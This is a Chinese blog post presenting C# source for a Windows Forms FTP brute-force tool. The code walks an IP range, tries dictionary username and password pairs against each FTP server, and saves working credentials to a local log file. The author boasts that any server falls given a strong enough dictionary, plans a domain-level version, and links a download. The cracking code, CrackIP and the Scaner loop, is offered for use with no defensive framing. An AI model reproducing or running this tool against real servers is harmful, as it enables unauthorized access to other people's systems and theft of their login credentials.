        /// <param name="log"></param>
        void PrintLog(String log)
        {
            try
            {
                this.txtLogs.Text += DateTime.Now + "" + log + "\r\n";
                this.txtLogs.SelectAll();
                this.txtLogs.ScrollToCaret();
            }
            finally
            {
                //this.txtLogs.ScrollToCaret();
            }
        }
        void AddCorrectRecordToList(String IP, String UserName, String Password)
        {
            String server = String.Format("IP:{0},User:{1},Pass:{2}", IP, UserName, Password);
            listCorrectRecord.Items.Add(server);
            File.AppendAllText("C:\\ScanLog.log", server + "\r\n");
        }
        /// <summary>
        /// 将127.0.0.1格式的IP地址转换成long
        /// </summary>
        /// <param name="strIp"></param>
        /// <returns></returns>
        private long IP2Int64(String strIp)
        {
            if (!String.IsNullOrEmpty(strIp))
            {
                long[] retip = new long[4];
                // 先找到IP地址字符串中.的位置
                String[] retips = strIp.Split('.');
                // 将每个.之间的字符串转换成整型
                retip[0] = Convert.ToInt64(retips[0]);
                retip[1] = Convert.ToInt64(retips[1]);
                retip[2] = Convert.ToInt64(retips[2]);
                retip[3] = Convert.ToInt64(retips[3]);
                return (retip[0] << 24) + (retip[1] << 16) + (retip[2] << 8) + retip[3];
            }
            else
            {
                return 0;
            }
        }

        // 将十进制整数形式转换成127.0.0.1形式的ip地址
        private String Int642IP(long longIp)
        {
            StringBuilder sb = new StringBuilder();
            // 直接右移24位
            sb.Append(longIp >> 24);
            sb.Append(".");
            // 将高8位置0,然后右移16位
            sb.Append((longIp & 0x00FFFFFF) >> 16);
            sb.Append(".");
            // 将高16位置0,然后右移8位
            sb.Append((longIp & 0x0000FFFF) >> 8);
            sb.Append(".");
            // 将高24位置0
            sb.Append(longIp & 0x000000FF);
            return sb.ToString();
        }

        private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            System.Diagnostics.Process.Start("http://www.mrhuo.com");
        }
    }
    public class ScanArgs
    {
        public String IP { get; set; }
        public String UserName { get; set; }
        public String Password { get; set; }
        public Int32 Port { get; set; }
    }

}

主要部分:

Boolean CrackIP(ScanArgs args)
        {
            Application.DoEvents();
            try
            {
                FTP ftp = new FTP(args.IP, args.UserName, args.Password);
                this.Text = StaticTitle + String.Format(" Cracking...Ip:{0},User:{1},Pass:{2}", args.IP, args.UserName, args.Password);
                ftp.Connect();
                if (ftp.IsConnected)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            catch
            {
                return false;
            }
        }

如果连接FTP成功,那么返回True,
技术上,主要用了Func实现异步破解,通过指定的用户名和密码字典,暴力破解,速度还可以,只要你的字典够强大,破解不是问题。

下一个版本准备退出域名级的破解。

再看看这段代码:

private void Scaner()
        {
            if (_scan == null)
            {
                _scan = new Func<string, ConnectionState>(ScanIP);
            }
            if (_CrackIP == null)
            {
                _CrackIP = new Func<ScanArgs, bool>(CrackIP);
            }
            for (long ips = IP2Int64(IPStart.ToString()); ips <= IP2Int64(IPEnd.ToString()); ips++)
            {
                Application.DoEvents();
                IAsyncResult ix = _scan.BeginInvoke(Int642IP(ips), new AsyncCallback(CallBack), Int642IP(ips));
            }
            IsRuning = false;
            SetDisabled();
        }

通过一个内部方法,将开始IP段转化为长整形数字,循环每个IP,实现暴力破解。

代码下载地址:下载地址 

posted @ 2012-06-19 17:39  开发者精选资讯  阅读(1488)  评论(8编辑  收藏  举报